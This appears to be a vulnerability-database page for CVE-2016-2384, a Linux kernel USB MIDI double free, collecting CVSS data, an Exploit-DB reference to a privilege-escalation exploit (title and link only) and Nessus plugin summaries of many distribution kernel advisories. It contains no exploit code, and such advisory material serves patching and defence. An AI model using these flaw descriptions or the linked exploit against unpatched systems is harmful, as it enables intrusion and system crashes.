Vulnerabilities > CVE-2016-2384 - Local Denial of Service vulnerability in Linux Kernel
Attack vector
LOCAL Attack complexity
LOW Privileges required
NONE Confidentiality impact
NONE Integrity impact
NONE Availability impact
COMPLETE Summary
Double free vulnerability in the snd_usbmidi_create function in sound/usb/midi.c in the Linux kernel before 4.5 allows physically proximate attackers to cause a denial of service (panic) or possibly have unspecified other impact via vectors involving an invalid USB descriptor. <a href="http://cwe.mitre.org/data/definitions/415.html">CWE-415: Double Free</a>
Vulnerable Configurations
Exploit-Db
| description | Linux Kernel 3.x (Ubuntu 14.04 / Mint 17.3 / Fedora 22) - Double-free usb-midi SMEP Local Privilege Escalation. CVE-2016-2384. Local exploit for Linux platform |
| id | EDB-ID:41999 |
| last seen | 2017-05-13 |
| modified | 2016-02-22 |
| published | 2016-02-22 |
| reporter | Exploit-DB |
| source | https://www.exploit-db.com/download/41999/ |
| title | Linux Kernel 3.x (Ubuntu 14.04 / Mint 17.3 / Fedora 22) - Double-free usb-midi SMEP Local Privilege Escalation |
Nessus
NASL family SuSE Local Security Checks NASL id SUSE_SU-2016-2074-1.NASL description The SUSE Linux Enterprise 11 SP2 kernel was updated to receive various security and bug fixes. The following security bugs were fixed : - CVE-2016-4486: Fixed 4 byte information leak in net/core/rtnetlink.c (bsc#978822). - CVE-2016-3134: The netfilter subsystem in the Linux kernel did not validate certain offset fields, which allowed local users to gain privileges or cause a denial of service (heap memory corruption) via an IPT_SO_SET_REPLACE setsockopt call (bnc#971126). - CVE-2016-2847: fs/pipe.c in the Linux kernel did not limit the amount of unread data in pipes, which allowed local users to cause a denial of service (memory consumption) by creating many pipes with non-default sizes (bnc#970948). - CVE-2016-2188: The iowarrior_probe function in drivers/usb/misc/iowarrior.c in the Linux kernel allowed physically proximate attackers to cause a denial of service (NULL pointer dereference and system crash) via a crafted endpoints value in a USB device descriptor (bnc#970956). - CVE-2016-3138: The acm_probe function in drivers/usb/class/cdc-acm.c in the Linux kernel allowed physically proximate attackers to cause a denial of service (NULL pointer dereference and system crash) via a USB device without both a control and a data endpoint descriptor (bnc#970911). - CVE-2016-3137: drivers/usb/serial/cypress_m8.c in the Linux kernel allowed physically proximate attackers to cause a denial of service (NULL pointer dereference and system crash) via a USB device without both an interrupt-in and an interrupt-out endpoint descriptor, related to the cypress_generic_port_probe and cypress_open functions (bnc#970970). - CVE-2016-3140: The digi_port_init function in drivers/usb/serial/digi_acceleport.c in the Linux kernel allowed physically proximate attackers to cause a denial of service (NULL pointer dereference and system crash) via a crafted endpoints value in a USB device descriptor (bnc#970892). - CVE-2016-2186: The powermate_probe function in drivers/input/misc/powermate.c in the Linux kernel allowed physically proximate attackers to cause a denial of service (NULL pointer dereference and system crash) via a crafted endpoints value in a USB device descriptor (bnc#970958). - CVE-2016-2185: The ati_remote2_probe function in drivers/input/misc/ati_remote2.c in the Linux kernel allowed physically proximate attackers to cause a denial of service (NULL pointer dereference and system crash) via a crafted endpoints value in a USB device descriptor (bnc#971124). - CVE-2016-3156: The IPv4 implementation in the Linux kernel mishandles destruction of device objects, which allowed guest OS users to cause a denial of service (host OS networking outage) by arranging for a large number of IP addresses (bnc#971360). - CVE-2016-2184: The create_fixed_stream_quirk function in sound/usb/quirks.c in the snd-usb-audio driver in the Linux kernel allowed physically proximate attackers to cause a denial of service (NULL pointer dereference or double free, and system crash) via a crafted endpoints value in a USB device descriptor (bnc#971125). - CVE-2016-3139: The wacom_probe function in drivers/input/tablet/wacom_sys.c in the Linux kernel allowed physically proximate attackers to cause a denial of service (NULL pointer dereference and system crash) via a crafted endpoints value in a USB device descriptor (bnc#970909). - CVE-2016-2143: The fork implementation in the Linux kernel on s390 platforms mishandled the case of four page-table levels, which allowed local users to cause a denial of service (system crash) or possibly have unspecified other impact via a crafted application, related to arch/s390/include/asm/mmu_context.h and arch/s390/include/asm/pgalloc.h (bnc#970504). - CVE-2016-2782: The treo_attach function in drivers/usb/serial/visor.c in the Linux kernel allowed physically proximate attackers to cause a denial of service (NULL pointer dereference and system crash) or possibly have unspecified other impact by inserting a USB device that lacks a (1) bulk-in or (2) interrupt-in endpoint (bnc#968670). - CVE-2015-8816: The hub_activate function in drivers/usb/core/hub.c in the Linux kernel did not properly maintain a hub-interface data structure, which allowed physically proximate attackers to cause a denial of service (invalid memory access and system crash) or possibly have unspecified other impact by unplugging a USB hub device (bnc#968010). - CVE-2015-7566: The clie_5_attach function in drivers/usb/serial/visor.c in the Linux kernel allowed physically proximate attackers to cause a denial of service (NULL pointer dereference and system crash) or possibly have unspecified other impact by inserting a USB device that lacks a bulk-out endpoint (bnc#961512). - CVE-2016-2549: sound/core/hrtimer.c in the Linux kernel did not prevent recursive callback access, which allowed local users to cause a denial of service (deadlock) via a crafted ioctl call (bnc#968013). - CVE-2016-2547: sound/core/timer.c in the Linux kernel employed a locking approach that did not consider slave timer instances, which allowed local users to cause a denial of service (race condition, use-after-free, and system crash) via a crafted ioctl call (bnc#968011). - CVE-2016-2548: sound/core/timer.c in the Linux kernel retained certain linked lists after a close or stop action, which allowed local users to cause a denial of service (system crash) via a crafted ioctl call, related to the (1) snd_timer_close and (2) _snd_timer_stop functions (bnc#968012). - CVE-2016-2546: sound/core/timer.c in the Linux kernel used an incorrect type of mutex, which allowed local users to cause a denial of service (race condition, use-after-free, and system crash) via a crafted ioctl call (bnc#967975). - CVE-2016-2545: The snd_timer_interrupt function in sound/core/timer.c in the Linux kernel did not properly maintain a certain linked list, which allowed local users to cause a denial of service (race condition and system crash) via a crafted ioctl call (bnc#967974). - CVE-2016-2544: Race condition in the queue_delete function in sound/core/seq/seq_queue.c in the Linux kernel allowed local users to cause a denial of service (use-after-free and system crash) by making an ioctl call at a certain time (bnc#967973). - CVE-2016-2543: The snd_seq_ioctl_remove_events function in sound/core/seq/seq_clientmgr.c in the Linux kernel did not verify FIFO assignment before proceeding with FIFO clearing, which allowed local users to cause a denial of service (NULL pointer dereference and OOPS) via a crafted ioctl call (bnc#967972). - CVE-2016-2384: Double free vulnerability in the snd_usbmidi_create function in sound/usb/midi.c in the Linux kernel allowed physically proximate attackers to cause a denial of service (panic) or possibly have unspecified other impact via vectors involving an invalid USB descriptor (bnc#966693). - CVE-2015-8812: drivers/infiniband/hw/cxgb3/iwch_cm.c in the Linux kernel did not properly identify error conditions, which allowed remote attackers to execute arbitrary code or cause a denial of service (use-after-free) via crafted packets (bnc#966437). - CVE-2015-8785: The fuse_fill_write_pages function in fs/fuse/file.c in the Linux kernel allowed local users to cause a denial of service (infinite loop) via a writev system call that triggers a zero length for the first segment of an iov (bnc#963765). - CVE-2016-2069: Race condition in arch/x86/mm/tlb.c in the Linux kernel .4.1 allowed local users to gain privileges by triggering access to a paging structure by a different CPU (bnc#963767). - CVE-2016-0723: Race condition in the tty_ioctl function in drivers/tty/tty_io.c in the Linux kernel allowed local users to obtain sensitive information from kernel memory or cause a denial of service (use-after-free and system crash) by making a TIOCGETD ioctl call during processing of a TIOCSETD ioctl call (bnc#961500). - CVE-2013-7446: Use-after-free vulnerability in net/unix/af_unix.c in the Linux kernel allowed local users to bypass intended AF_UNIX socket permissions or cause a denial of service (panic) via crafted epoll_ctl calls (bnc#955654). - CVE-2015-8767: net/sctp/sm_sideeffect.c in the Linux kernel did not properly manage the relationship between a lock and a socket, which allowed local users to cause a denial of service (deadlock) via a crafted sctp_accept call (bnc#961509). - CVE-2015-7515: The aiptek_probe function in drivers/input/tablet/aiptek.c in the Linux kernel allowed physically proximate attackers to cause a denial of service (NULL pointer dereference and system crash) via a crafted USB device that lacks endpoints (bnc#956708). - CVE-2015-8215: net/ipv6/addrconf.c in the IPv6 stack in the Linux kernel did not validate attempted changes to the MTU value, which allowed context-dependent attackers to cause a denial of service (packet loss) via a value that is (1) smaller than the minimum compliant value or (2) larger than the MTU of an interface, as demonstrated by a Router Advertisement (RA) message that is not validated by a daemon, a different vulnerability than CVE-2015-0272 (bnc#955354). - CVE-2015-7550: The keyctl_read_key function in security/keys/keyctl.c in the Linux kernel did not properly use a semaphore, which allowed local users to cause a denial of service (NULL pointer dereference and system crash) or possibly have unspecified other impact via a crafted application that leverages a race condition between keyctl_revoke and keyctl_read calls (bnc#958951). - CVE-2015-8569: The (1) pptp_bind and (2) pptp_connect functions in drivers/net/ppp/pptp.c in the Linux kernel did not verify an address length, which allowed local users to obtain sensitive information from kernel memory and bypass the KASLR protection mechanism via a crafted application (bnc#959190). - CVE-2015-8575: The sco_sock_bind function in net/bluetooth/sco.c in the Linux kernel did not verify an address length, which allowed local users to obtain sensitive information from kernel memory and bypass the KASLR protection mechanism via a crafted application (bnc#959399). - CVE-2015-8543: The networking implementation in the Linux kernel did not validate protocol identifiers for certain protocol families, which allowed local users to cause a denial of service (NULL function pointer dereference and system crash) or possibly gain privileges by leveraging CLONE_NEWUSER support to execute a crafted SOCK_RAW application (bnc#958886). - CVE-2015-8539: The KEYS subsystem in the Linux kernel allowed local users to gain privileges or cause a denial of service (BUG) via crafted keyctl commands that negatively instantiate a key, related to security/keys/encrypted-keys/encrypted.c, security/keys/trusted.c, and security/keys/user_defined.c (bnc#958463). - CVE-2015-7509: fs/ext4/namei.c in the Linux kernel allowed physically proximate attackers to cause a denial of service (system crash) via a crafted no-journal filesystem, a related issue to CVE-2013-2015 (bnc#956709). - CVE-2015-7799: The slhc_init function in drivers/net/slip/slhc.c in the Linux kernel did not ensure that certain slot numbers are valid, which allowed local users to cause a denial of service (NULL pointer dereference and system crash) via a crafted PPPIOCSMAXCID ioctl call (bnc#949936). - CVE-2015-8104: The KVM subsystem in the Linux kernel allowed guest OS users to cause a denial of service (host OS panic or hang) by triggering many #DB (aka Debug) exceptions, related to svm.c (bnc#954404). - CVE-2015-5307: The KVM subsystem in the Linux kernel allowed guest OS users to cause a denial of service (host OS panic or hang) by triggering many #AC (aka Alignment Check) exceptions, related to svm.c and vmx.c (bnc#953527). - CVE-2015-7990: Race condition in the rds_sendmsg function in net/rds/sendmsg.c in the Linux kernel allowed local users to cause a denial of service (NULL pointer dereference and system crash) or possibly have unspecified other impact by using a socket that was not properly bound (bnc#952384). - CVE-2015-7872: The key_gc_unused_keys function in security/keys/gc.c in the Linux kernel allowed local users to cause a denial of service (OOPS) via crafted keyctl commands (bnc#951440). - CVE-2015-6937: The __rds_conn_create function in net/rds/connection.c in the Linux kernel allowed local users to cause a denial of service (NULL pointer dereference and system crash) or possibly have unspecified other impact by using a socket that was not properly bound (bnc#945825). - CVE-2015-6252: The vhost_dev_ioctl function in drivers/vhost/vhost.c in the Linux kernel allowed local users to cause a denial of service (memory consumption) via a VHOST_SET_LOG_FD ioctl call that triggers permanent file-descriptor allocation (bnc#942367). - CVE-2015-3339: Race condition in the prepare_binprm function in fs/exec.c in the Linux kernel allowed local users to gain privileges by executing a setuid program at a time instant when a chown to root is in progress, and the ownership is changed but the setuid bit is not yet stripped (bnc#928130). The update package also includes non-security fixes. See advisory for details. Note that Tenable Network Security has extracted the preceding description block directly from the SUSE security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues. last seen 2020-06-01 modified 2020-06-02 plugin id 93289 published 2016-09-02 reporter This script is Copyright (C) 2016-2019 and is owned by Tenable, Inc. or an Affiliate thereof. source https://www.tenable.com/plugins/nessus/93289 title SUSE SLES11 Security Update : kernel (SUSE-SU-2016:2074-1) NASL family SuSE Local Security Checks NASL id SUSE_SU-2016-1203-1.NASL description The SUSE Linux Enterprise 11 SP3 kernel was updated to receive various security and bugfixes. The following security bugs were fixed : - CVE-2013-7446: Use-after-free vulnerability in net/unix/af_unix.c in the Linux kernel allowed local users to bypass intended AF_UNIX socket permissions or cause a denial of service (panic) via crafted epoll_ctl calls (bnc#955654). - CVE-2015-7509: fs/ext4/namei.c in the Linux kernel allowed physically proximate attackers to cause a denial of service (system crash) via a crafted no-journal filesystem, a related issue to CVE-2013-2015 (bnc#956707). - CVE-2015-7515: An out of bounds memory access in the aiptek USB driver could be used by physical local attackers to crash the kernel (bnc#956708). - CVE-2015-7550: The keyctl_read_key function in security/keys/keyctl.c in the Linux kernel did not properly use a semaphore, which allowed local users to cause a denial of service (NULL pointer dereference and system crash) or possibly have unspecified other impact via a crafted application that leverages a race condition between keyctl_revoke and keyctl_read calls (bnc#958951). - CVE-2015-7566: A malicious USB device could cause kernel crashes in the visor device driver (bnc#961512). - CVE-2015-7799: The slhc_init function in drivers/net/slip/slhc.c in the Linux kernel did not ensure that certain slot numbers are valid, which allowed local users to cause a denial of service (NULL pointer dereference and system crash) via a crafted PPPIOCSMAXCID ioctl call (bnc#949936). - CVE-2015-8215: net/ipv6/addrconf.c in the IPv6 stack in the Linux kernel did not validate attempted changes to the MTU value, which allowed context-dependent attackers to cause a denial of service (packet loss) via a value that is (1) smaller than the minimum compliant value or (2) larger than the MTU of an interface, as demonstrated by a Router Advertisement (RA) message that is not validated by a daemon, a different vulnerability than CVE-2015-0272. NOTE: the scope of CVE-2015-0272 is limited to the NetworkManager product (bnc#955354). - CVE-2015-8539: The KEYS subsystem in the Linux kernel allowed local users to gain privileges or cause a denial of service (BUG) via crafted keyctl commands that negatively instantiate a key, related to security/keys/encrypted-keys/encrypted.c, security/keys/trusted.c, and security/keys/user_defined.c (bnc#958463). - CVE-2015-8543: The networking implementation in the Linux kernel did not validate protocol identifiers for certain protocol families, which allowed local users to cause a denial of service (NULL function pointer dereference and system crash) or possibly gain privileges by leveraging CLONE_NEWUSER support to execute a crafted SOCK_RAW application (bnc#958886). - CVE-2015-8550: Optimizations introduced by the compiler could have lead to double fetch vulnerabilities, potentially possibly leading to arbitrary code execution in backend (bsc#957988). (bsc#957988 XSA-155). - CVE-2015-8551: The PCI backend driver in Xen, when running on an x86 system and using Linux as the driver domain, allowed local guest administrators to hit BUG conditions and cause a denial of service (NULL pointer dereference and host OS crash) by leveraging a system with access to a passed-through MSI or MSI-X capable physical PCI device and a crafted sequence of XEN_PCI_OP_* operations, aka last seen 2020-06-01 modified 2020-06-02 plugin id 90884 published 2016-05-04 reporter This script is Copyright (C) 2016-2019 and is owned by Tenable, Inc. or an Affiliate thereof. source https://www.tenable.com/plugins/nessus/90884 title SUSE SLES11 Security Update : kernel (SUSE-SU-2016:1203-1) NASL family Red Hat Local Security Checks NASL id REDHAT-RHSA-2016-2574.NASL description An update for kernel is now available for Red Hat Enterprise Linux 7. Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section. The kernel packages contain the Linux kernel, the core of any Linux operating system. Security Fix(es) : * It was found that the Linux kernel last seen 2020-06-01 modified 2020-06-02 plugin id 94537 published 2016-11-04 reporter This script is Copyright (C) 2016-2019 and is owned by Tenable, Inc. or an Affiliate thereof. source https://www.tenable.com/plugins/nessus/94537 title RHEL 7 : kernel (RHSA-2016:2574) NASL family Huawei Local Security Checks NASL id EULEROS_SA-2019-1491.NASL description According to the versions of the kernel packages installed, the EulerOS Virtualization installation on the remote host is affected by the following vulnerabilities : - A use-after-free flaw was found in the way the Linux kernel last seen 2020-03-19 modified 2019-05-13 plugin id 124815 published 2019-05-13 reporter This script is Copyright (C) 2019-2020 and is owned by Tenable, Inc. or an Affiliate thereof. source https://www.tenable.com/plugins/nessus/124815 title EulerOS Virtualization 3.0.1.0 : kernel (EulerOS-SA-2019-1491) NASL family Fedora Local Security Checks NASL id FEDORA_2016-9FBE2C258B.NASL description Incremental update from 4.4.3-200 bringing in a few missed ARMv7 fixes ---- The 4.4.3 update contains a number of important fixes across the tree Note that Tenable Network Security has extracted the preceding description block directly from the Fedora security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues. last seen 2020-06-05 modified 2016-03-07 plugin id 89702 published 2016-03-07 reporter This script is Copyright (C) 2016-2020 and is owned by Tenable, Inc. or an Affiliate thereof. source https://www.tenable.com/plugins/nessus/89702 title Fedora 22 : kernel-4.4.3-201.fc22 (2016-9fbe2c258b) NASL family SuSE Local Security Checks NASL id SUSE_SU-2016-0785-1.NASL description The SUSE Linux Enterprise 12 kernel was updated to 3.12.55 to receive various security and bugfixes. Features added : - A improved XEN blkfront module was added, which allows more I/O bandwidth. (FATE#320625) It is called xen-blkfront in PV, and xen-vbd-upstream in HVM mode. The following security bugs were fixed : - CVE-2013-7446: Use-after-free vulnerability in net/unix/af_unix.c in the Linux kernel allowed local users to bypass intended AF_UNIX socket permissions or cause a denial of service (panic) via crafted epoll_ctl calls (bnc#955654). - CVE-2015-5707: Integer overflow in the sg_start_req function in drivers/scsi/sg.c in the Linux kernel allowed local users to cause a denial of service or possibly have unspecified other impact via a large iov_count value in a write request (bnc#940338). - CVE-2015-8709: kernel/ptrace.c in the Linux kernel mishandled uid and gid mappings, which allowed local users to gain privileges by establishing a user namespace, waiting for a root process to enter that namespace with an unsafe uid or gid, and then using the ptrace system call. NOTE: the vendor states last seen 2020-06-01 modified 2020-06-02 plugin id 89993 published 2016-03-17 reporter This script is Copyright (C) 2016-2019 and is owned by Tenable, Inc. or an Affiliate thereof. source https://www.tenable.com/plugins/nessus/89993 title SUSE SLED12 / SLES12 Security Update : kernel (SUSE-SU-2016:0785-1) NASL family Scientific Linux Local Security Checks NASL id SL_20170321_KERNEL_ON_SL6_X.NASL description Security Fix(es) : - It was discovered that a remote attacker could leverage the generation of IPv6 atomic fragments to trigger the use of fragmentation in an arbitrary IPv6 flow (in scenarios in which actual fragmentation of packets is not needed) and could subsequently perform any type of a fragmentation- based attack against legacy IPv6 nodes that do not implement RFC6946. (CVE-2016-10142, Moderate) - A flaw was discovered in the way the Linux kernel dealt with paging structures. When the kernel invalidated a paging structure that was not in use locally, it could, in principle, race against another CPU that is switching to a process that uses the paging structure in question. A local user could use a thread running with a stale cached virtual->physical translation to potentially escalate their privileges if the translation in question were writable and the physical page got reused for something critical (for example, a page table). (CVE-2016-2069, Moderate) - A race condition flaw was found in the ioctl_send_fib() function in the Linux kernel last seen 2020-03-18 modified 2017-04-06 plugin id 99218 published 2017-04-06 reporter This script is Copyright (C) 2017-2020 and is owned by Tenable, Inc. or an Affiliate thereof. source https://www.tenable.com/plugins/nessus/99218 title Scientific Linux Security Update : kernel on SL6.x i386/x86_64 (20170321) NASL family Fedora Local Security Checks NASL id FEDORA_2016-7E12AE5359.NASL description This is an incremental update over 4.4.2-300 which contains two fixes fix for AMD IOMMU warnings use after free in USB ---- The 4.4.2 update contains a number of important updates across the kernel tree. Note that Tenable Network Security has extracted the preceding description block directly from the Fedora security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues. last seen 2020-06-05 modified 2016-03-04 plugin id 89570 published 2016-03-04 reporter This script is Copyright (C) 2016-2020 and is owned by Tenable, Inc. or an Affiliate thereof. source https://www.tenable.com/plugins/nessus/89570 title Fedora 23 : kernel-4.4.2-301.fc23 (2016-7e12ae5359) NASL family Ubuntu Local Security Checks NASL id UBUNTU_USN-2929-1.NASL description Ben Hawkes discovered that the Linux netfilter implementation did not correctly perform validation when handling IPT_SO_SET_REPLACE events. A local unprivileged attacker could use this to cause a denial of service (system crash) or possibly execute arbitrary code with administrative privileges. (CVE-2016-3134) It was discovered that the Linux kernel did not properly enforce rlimits for file descriptors sent over UNIX domain sockets. A local attacker could use this to cause a denial of service. (CVE-2013-4312) Ralf Spenneberg discovered that the USB driver for Clie devices in the Linux kernel did not properly sanity check the endpoints reported by the device. An attacker with physical access could cause a denial of service (system crash). (CVE-2015-7566) Ralf Spenneberg discovered that the usbvision driver in the Linux kernel did not properly sanity check the interfaces and endpoints reported by the device. An attacker with physical access could cause a denial of service (system crash). (CVE-2015-7833) It was discovered that a race condition existed in the ioctl handler for the TTY driver in the Linux kernel. A local attacker could use this to cause a denial of service (system crash) or expose sensitive information. (CVE-2016-0723) Andrey Konovalov discovered that the ALSA USB MIDI driver incorrectly performed a double-free. A local attacker with physical access could use this to cause a denial of service (system crash) or possibly execute arbitrary code with administrative privileges. (CVE-2016-2384) Dmitry Vyukov discovered that the Advanced Linux Sound Architecture (ALSA) framework did not verify that a FIFO was attached to a client before attempting to clear it. A local attacker could use this to cause a denial of service (system crash). (CVE-2016-2543) Dmitry Vyukov discovered that a race condition existed in the Advanced Linux Sound Architecture (ALSA) framework between timer setup and closing of the client, resulting in a use-after-free. A local attacker could use this to cause a denial of service. (CVE-2016-2544) Dmitry Vyukov discovered a race condition in the timer handling implementation of the Advanced Linux Sound Architecture (ALSA) framework, resulting in a use-after-free. A local attacker could use this to cause a denial of service (system crash). (CVE-2016-2545) Dmitry Vyukov discovered race conditions in the Advanced Linux Sound Architecture (ALSA) framework last seen 2020-06-01 modified 2020-06-02 plugin id 89932 published 2016-03-15 reporter Ubuntu Security Notice (C) 2016-2019 Canonical, Inc. / NASL script (C) 2016-2019 and is owned by Tenable, Inc. or an Affiliate thereof. source https://www.tenable.com/plugins/nessus/89932 title Ubuntu 14.04 LTS : linux vulnerabilities (USN-2929-1) NASL family Red Hat Local Security Checks NASL id REDHAT-RHSA-2017-0817.NASL description An update for kernel is now available for Red Hat Enterprise Linux 6. Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section. The kernel packages contain the Linux kernel, the core of any Linux operating system. Security Fix(es) : * It was discovered that a remote attacker could leverage the generation of IPv6 atomic fragments to trigger the use of fragmentation in an arbitrary IPv6 flow (in scenarios in which actual fragmentation of packets is not needed) and could subsequently perform any type of a fragmentation-based attack against legacy IPv6 nodes that do not implement RFC6946. (CVE-2016-10142, Moderate) * A flaw was discovered in the way the Linux kernel dealt with paging structures. When the kernel invalidated a paging structure that was not in use locally, it could, in principle, race against another CPU that is switching to a process that uses the paging structure in question. A local user could use a thread running with a stale cached virtual->physical translation to potentially escalate their privileges if the translation in question were writable and the physical page got reused for something critical (for example, a page table). (CVE-2016-2069, Moderate) * A race condition flaw was found in the ioctl_send_fib() function in the Linux kernel last seen 2020-06-01 modified 2020-06-02 plugin id 97886 published 2017-03-22 reporter This script is Copyright (C) 2017-2019 and is owned by Tenable, Inc. or an Affiliate thereof. source https://www.tenable.com/plugins/nessus/97886 title RHEL 6 : kernel (RHSA-2017:0817) NASL family Oracle Linux Local Security Checks NASL id ORACLELINUX_ELSA-2016-2574.NASL description From Red Hat Security Advisory 2016:2574 : An update for kernel is now available for Red Hat Enterprise Linux 7. Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section. The kernel packages contain the Linux kernel, the core of any Linux operating system. Security Fix(es) : * It was found that the Linux kernel last seen 2020-06-01 modified 2020-06-02 plugin id 94697 published 2016-11-11 reporter This script is Copyright (C) 2016-2019 and is owned by Tenable, Inc. or an Affiliate thereof. source https://www.tenable.com/plugins/nessus/94697 title Oracle Linux 7 : kernel (ELSA-2016-2574) NASL family Ubuntu Local Security Checks NASL id UBUNTU_USN-2930-3.NASL description Ben Hawkes discovered that the Linux netfilter implementation did not correctly perform validation when handling IPT_SO_SET_REPLACE events. A local unprivileged attacker could use this to cause a denial of service (system crash) or possibly execute arbitrary code with administrative privileges. (CVE-2016-3134) Ben Hawkes discovered an integer overflow in the Linux netfilter implementation. On systems running 32 bit kernels, a local unprivileged attacker could use this to cause a denial of service (system crash) or possibly execute arbitrary code with administrative privileges. (CVE-2016-3135) Ralf Spenneberg discovered that the USB driver for Clie devices in the Linux kernel did not properly sanity check the endpoints reported by the device. An attacker with physical access could cause a denial of service (system crash). (CVE-2015-7566) It was discovered that a race condition existed when handling heartbeat- timeout events in the SCTP implementation of the Linux kernel. A remote attacker could use this to cause a denial of service. (CVE-2015-8767) It was discovered that a race condition existed in the ioctl handler for the TTY driver in the Linux kernel. A local attacker could use this to cause a denial of service (system crash) or expose sensitive information. (CVE-2016-0723) Andrey Konovalov discovered that the ALSA USB MIDI driver incorrectly performed a double-free. A local attacker with physical access could use this to cause a denial of service (system crash) or possibly execute arbitrary code with administrative privileges. (CVE-2016-2384) Ralf Spenneberg discovered that the USB driver for Treo devices in the Linux kernel did not properly sanity check the endpoints reported by the device. An attacker with physical access could cause a denial of service (system crash). (CVE-2016-2782). Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues. last seen 2020-06-01 modified 2020-06-02 plugin id 89995 published 2016-03-17 reporter Ubuntu Security Notice (C) 2016-2019 Canonical, Inc. / NASL script (C) 2016-2019 and is owned by Tenable, Inc. or an Affiliate thereof. source https://www.tenable.com/plugins/nessus/89995 title Ubuntu 15.10 : linux-raspi2 vulnerabilities (USN-2930-3) NASL family Oracle Linux Local Security Checks NASL id ORACLELINUX_ELSA-2018-4164.NASL description Description of changes: kernel-uek kernel-uek [3.8.13-118.22.1.el7uek] - dm: fix race between dm_get_from_kobject() and __dm_destroy() (Hou Tao) {CVE-2017-18203} - drm: udl: Properly check framebuffer mmap offsets (Greg Kroah-Hartman) [Orabug: 27986407] {CVE-2018-8781} - kernel/exit.c: avoid undefined behaviour when calling wait4() wait4(-2147483648, 0x20, 0, 0xdd0000) triggers: UBSAN: Undefined behaviour in kernel/exit.c:1651:9 (mridula shastry) [Orabug: 27875488] {CVE-2018-10087} - kernel/signal.c: avoid undefined behaviour in kill_something_info When running kill(72057458746458112, 0) in userspace I hit the following issue. (mridula shastry) {CVE-2018-10124} - bluetooth: Validate socket address length in sco_sock_bind(). (mlevatic) [Orabug: 28130293] {CVE-2015-8575} - dccp: check sk for closed state in dccp_sendmsg() (Alexey Kodanev) [Orabug: 28220402] {CVE-2017-8824} {CVE-2018-1130} - sctp: verify size of a new chunk in _sctp_make_chunk() (Alexey Kodanev) [Orabug: 28240075] {CVE-2018-5803} - mm/mempolicy.c: fix error handling in set_mempolicy and mbind. (Chris Salls) [Orabug: 28242478] {CVE-2017-7616} - xfrm: policy: check policy direction value (Vladis Dronov) [Orabug: 28264121] {CVE-2017-11600} {CVE-2017-11600} - x86/fpu: Make eager FPU default (Mihai Carabas) [Orabug: 28156176] {CVE-2018-3665} - KVM: Fix stack-out-of-bounds read in write_mmio (Wanpeng Li) [Orabug: 27951287] {CVE-2017-17741} {CVE-2017-17741} - xfs: set format back to extents if xfs_bmap_extents_to_btree (Eric Sandeen) [Orabug: 27989498] {CVE-2018-10323} - Bluetooth: Prevent stack info leak from the EFS element. (Ben Seri) [Orabug: 28030520] {CVE-2017-1000410} {CVE-2017-1000410} - ALSA: hrtimer: Fix stall by hrtimer_cancel() (Takashi Iwai) [Orabug: 28058229] {CVE-2016-2549} - ALSA: timer: Harden slave timer list handling (Takashi Iwai) [Orabug: 28058229] {CVE-2016-2547} {CVE-2016-2548} - ALSA: timer: Fix double unlink of active_list (Takashi Iwai) [Orabug: 28058229] {CVE-2016-2545} - ALSA: seq: Fix missing NULL check at remove_events ioctl (Takashi Iwai) [Orabug: 28058229] {CVE-2016-2543} - ALSA: seq: Fix race at timer setup and close (Takashi Iwai) [Orabug: 28058229] {CVE-2016-2544} - ALSA: usb-audio: avoid freeing umidi object twice (Andrey Konovalov) [Orabug: 28058229] {CVE-2016-2384} - perf/hwbp: Simplify the perf-hwbp code, fix documentation (Linus Torvalds) [Orabug: 27947608] {CVE-2018-1000199} - Revert last seen 2020-06-01 modified 2020-06-02 plugin id 110998 published 2018-07-11 reporter This script is Copyright (C) 2018-2019 and is owned by Tenable, Inc. or an Affiliate thereof. source https://www.tenable.com/plugins/nessus/110998 title Oracle Linux 6 / 7 : Unbreakable Enterprise kernel (ELSA-2018-4164) NASL family Ubuntu Local Security Checks NASL id UBUNTU_USN-2930-1.NASL description Ben Hawkes discovered that the Linux netfilter implementation did not correctly perform validation when handling IPT_SO_SET_REPLACE events. A local unprivileged attacker could use this to cause a denial of service (system crash) or possibly execute arbitrary code with administrative privileges. (CVE-2016-3134) Ben Hawkes discovered an integer overflow in the Linux netfilter implementation. On systems running 32 bit kernels, a local unprivileged attacker could use this to cause a denial of service (system crash) or possibly execute arbitrary code with administrative privileges. (CVE-2016-3135) Ralf Spenneberg discovered that the USB driver for Clie devices in the Linux kernel did not properly sanity check the endpoints reported by the device. An attacker with physical access could cause a denial of service (system crash). (CVE-2015-7566) It was discovered that a race condition existed when handling heartbeat- timeout events in the SCTP implementation of the Linux kernel. A remote attacker could use this to cause a denial of service. (CVE-2015-8767) It was discovered that a race condition existed in the ioctl handler for the TTY driver in the Linux kernel. A local attacker could use this to cause a denial of service (system crash) or expose sensitive information. (CVE-2016-0723) Andrey Konovalov discovered that the ALSA USB MIDI driver incorrectly performed a double-free. A local attacker with physical access could use this to cause a denial of service (system crash) or possibly execute arbitrary code with administrative privileges. (CVE-2016-2384) Ralf Spenneberg discovered that the USB driver for Treo devices in the Linux kernel did not properly sanity check the endpoints reported by the device. An attacker with physical access could cause a denial of service (system crash). (CVE-2016-2782). Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues. last seen 2020-06-01 modified 2020-06-02 plugin id 89934 published 2016-03-15 reporter Ubuntu Security Notice (C) 2016-2019 Canonical, Inc. / NASL script (C) 2016-2019 and is owned by Tenable, Inc. or an Affiliate thereof. source https://www.tenable.com/plugins/nessus/89934 title Ubuntu 15.10 : linux vulnerabilities (USN-2930-1) NASL family Fedora Local Security Checks NASL id FEDORA_2016-E7162262B0.NASL description Update to the latest upstream stable release, Linux v4.3.6 Note that Tenable Network Security has extracted the preceding description block directly from the Fedora security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues. last seen 2020-06-05 modified 2016-03-04 plugin id 89632 published 2016-03-04 reporter This script is Copyright (C) 